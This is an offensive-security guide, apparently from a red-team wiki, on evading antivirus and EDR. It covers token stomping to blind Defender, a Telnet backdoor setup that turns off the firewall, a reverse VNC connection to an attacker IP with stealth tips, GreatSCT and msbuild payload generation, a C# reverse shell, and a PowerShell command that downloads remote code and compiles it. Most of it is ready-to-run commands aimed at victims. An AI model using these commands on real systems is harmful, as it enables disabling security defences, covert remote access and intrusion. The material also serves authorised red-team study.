Token Stomping is a lesser-known but powerful technique used to disable or cripple antivirus (AV) and EDR products without actually killing their processes. Unlike traditional process-killing attacks (which are loud and often trigger alerts), token stomping takes a stealthier approach β by stripping away the security productβs ability to do its job.
Letβs break it down in a simple way:
π§ What Are Access Tokens?
In Windows, every process runs with a security token β a structure that contains information about:
The user account
Assigned privileges
Group memberships
Permissions to access system resources
These tokens are critical for enforcing security boundaries.
π‘οΈ Security tools like Defender and EDRs rely on their tokens to:
Access memory of other processes
Scan files
Monitor network traffic
Hook into system APIs
If you strip privileges from their token, the process is still alive β but can no longer monitor your actions.
βοΈ What is Token Stomping?
Token Stomping involves modifying or overwriting the security token of a target process (like Defender or an EDR agent) to reduce its privileges. This makes the process effectively blind, while avoiding the aggressive behavior detections that would trigger if you killed it outright.
Instead of terminating Defender or the EDR agent (which is noisy), you silently neuter it.
π§ How It's Done
The basic steps look like this:
π§± Obtain a handle to the target process (e.g.,
MsMpEng.exe
, the Defender engine)π Open its access token using
OpenProcessToken()
βοΈ Strip or replace token privileges
You can remove things like
SeDebugPrivilege
,SeLoadDriverPrivilege
, etc.This prevents the security process from attaching to or scanning other processes
β The process stays alive β but can no longer interact with protected memory, drivers, or advanced system features.
Tools That Implement Token Stomping
Here are real-world tools that use or demonstrate this technique:
π¨ KillDefender A C++ PoC that removes Defenderβs ability to scan and act by manipulating tokens.
𧬠TokenStomp Allows you to "stomp" a token and replace it with another β often used to clone and hijack privileges from a different process.
π§© TokenStripBOF A Cobalt Strike Beacon Object File that removes dangerous privileges from tokens at runtime, effectively blinding EDRs.
Old But Gold: Legacy AV Evasion Techniques That Still Work (Sometimes)
While modern AV and EDR solutions have grown smarter, some older techniques continue to work in certain environments β especially on outdated systems or poorly configured networks. This section covers legacy but useful tricks to bypass antivirus detection, execute payloads, and maintain persistence. Use them wisely β theyβre noisy, but still relevant in real-world red teaming.
π¬ Identify What Triggers Defender: ThreatCheck & AVRed
Before wasting time rebuilding your payload, you can pinpoint what Defender is detecting. These tools help isolate the exact malicious portion:
π ThreatCheck: Automatically removes chunks of your binary until the flagged segment is identified.
π AVRed: Web-based utility that lets you test scripts or files to see whatβs being detected and why.
π‘ Ideal for testing obfuscation, shellcode, or compiled payloads before final delivery.
π‘ Telnet Server Abuse (Windows 7β10)
Before PowerShell became the go-to for scripting, attackers used Telnet Server for backdoors. This technique works only on older Windows versions (pre-Windows 10) and still appears in legacy systems.
Install Telnet Server and configure it:
pkgmgr /iu:"TelnetServer" /quiet
sc config TlntSVR start= auto obj= localsystem
tlntadmn config port=80
netsh advfirewall set allprofiles state off
β οΈ Mostly obsolete, but still works in older internal networks or OT devices.
π₯οΈ UltraVNC for Reverse VNC Connections
UltraVNC is a legit remote desktop tool that supports reverse connections β a feature that can be abused for stealthy remote access.
Setup:
Download
winvnc.exe
and configure it:Disable TrayIcon
Set VNC and View-Only passwords
Transfer both
winvnc.exe
andUltraVNC.ini
to the targetOn your machine:
vncviewer.exe -listen 5900
On the victim:
winvnc.exe -run -autoreconnect -connect <attacker_ip>::5900
π΅οΈ Stealth Tips:
Donβt launch it twice (triggers a popup)
Ensure the
.ini
file is presentNever run it without config, or itβll open a visible GUI
π GreatSCT Payload Generation
GreatSCT is a tool for generating AV-evasive payloads, mainly using msbuild.exe
execution.
Install and generate:
git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py
Generate a payload:
use 1
list
use 9
set lhost 10.10.14.0
set lport 4444
generate
Then execute it on target:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
β This may be detected immediately by Defender in modern environments. Combine it with AMSI and ETW patching for better results.
π οΈ Building Your Own Reverse Shell
Compiling your own payloads is one of the most effective ways to bypass signature-based detection.
𧬠C# Reverse Shell (Example by BankSecurity)
Compile it with:
csc.exe /t:exe /out:back2.exe Back1.cs
Run it:
back2.exe <attacker_ip> <port>
π Example Source: https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc
π¦ Automated Shell Execution with Compiler
Use .NET
compilers to compile and run payloads at runtime:
Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
Example:
# 64-bit
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/.../REV.txt', '.\REV.txt') }"
...
Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell
π Source: BankSecurityβs workflow compiler guide
π Obfuscation Tools (C#, .NET, C++)
Basic obfuscation can help evade static analysis. Use these tools to hide logic, encrypt strings, or morph control flow:
π ConfuserEx
𧬠Donut β Shellcode loader
π οΈ SharpShooter β For generating HTA, VBS, JS payloads
π Veil Framework
π Shellter
π₯ Vulcan β PE manipulation
peekaboo: Python-based shellcode injectors for Windows
Grouper2: Exploits Active Directory misconfigs
For C++:
sudo apt install mingw-w64
i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -static-libstdc++ -static-libgcc
Learn & practice For the Bug Bounty
Last updated
Was this helpful?